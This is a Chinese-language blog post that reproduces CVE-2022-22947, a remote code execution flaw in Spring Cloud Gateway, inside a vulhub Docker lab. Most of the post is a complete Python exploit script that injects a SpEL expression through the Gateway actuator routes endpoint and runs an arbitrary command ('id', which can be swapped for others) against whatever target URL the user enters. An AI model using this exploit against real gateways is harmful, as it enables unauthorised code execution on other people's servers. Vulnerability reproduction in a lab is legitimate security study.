Spring Cloud Gateway 远程代码执行漏洞复现 (CVE-2022-22947)

Spring Cloud Gateway 远程代码执行漏洞复现 (CVE-2022-22947)

漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
据公告描述,当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

环境搭建

1
2
3
4
5
git pull // 更新vulhub
cd /root/vulhub-master/spring/CVE-2022-22947
docker-compose up -d
# 访问 http://ip:8080/
docker-compose down # 移除环境

image-20220303233548778

影响版本

1
2
3
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

漏洞复现

github上的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import json


def exec(url):
headers1 = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/json'
}

headers2 = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}

## command to execute replace "id" in payload

payload = '''{\r
"id": "hacktest",\r
"filters": [{\r
"name": "AddResponseHeader",\r
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
}],\r
"uri": "http://example.com",\r
"order": 0\r
}'''

re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest", data=payload, headers=headers1, json=json)
re2 = requests.post(url=url + "/actuator/gateway/refresh", headers=headers2)
re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest", headers=headers2)
re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest", headers=headers2)
re5 = requests.post(url=url + "/actuator/gateway/refresh", headers=headers2)
print(re3.text)


if __name__ == "__main__":
print(''' ██████ ██ ██ ████████ ████ ████ ████ ████ ████ ████ ████ ██ ██████
██░░░░██░██ ░██░██░░░░░ █░░░ █ █░░░██ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░█ ░░░░░░█
██ ░░ ░██ ░██░██ ░ ░█░█ █░█░ ░█░ ░█ ░ ░█░ ░█░█ ░█ █ ░█ ░█
░██ ░░██ ██ ░███████ █████ ███ ░█ █ ░█ ███ ███ █████ ███ ███ ░ ████ ██████ █
░██ ░░██ ██ ░██░░░░ ░░░░░ █░░ ░██ ░█ █░░ █░░ ░░░░░ █░░ █░░ ░░░█ ░░░░░█ █
░░██ ██ ░░████ ░██ █ ░█ ░█ █ █ █ █ █ ░█ █
░░██████ ░░██ ░████████ ░██████░ ████ ░██████░██████ ░██████░██████ █ ░█ █
░░░░░░ ░░ ░░░░░░░░ ░░░░░░ ░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░ ░ ░
''')

url = input("检测目标:")
exec(url)

通过更改其中的’id’执行其他命令

image-20220303233607915

我的个人博客

孤桜懶契:http://gylq.gitee.io

本文标题:Spring Cloud Gateway 远程代码执行漏洞复现 (CVE-2022-22947)

文章作者:孤桜懶契

发布时间:2022年03月03日 - 21:40:08

最后更新:2022年05月24日 - 21:00:57

原始链接:http://gylq.gitee.io/time/posts/9.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------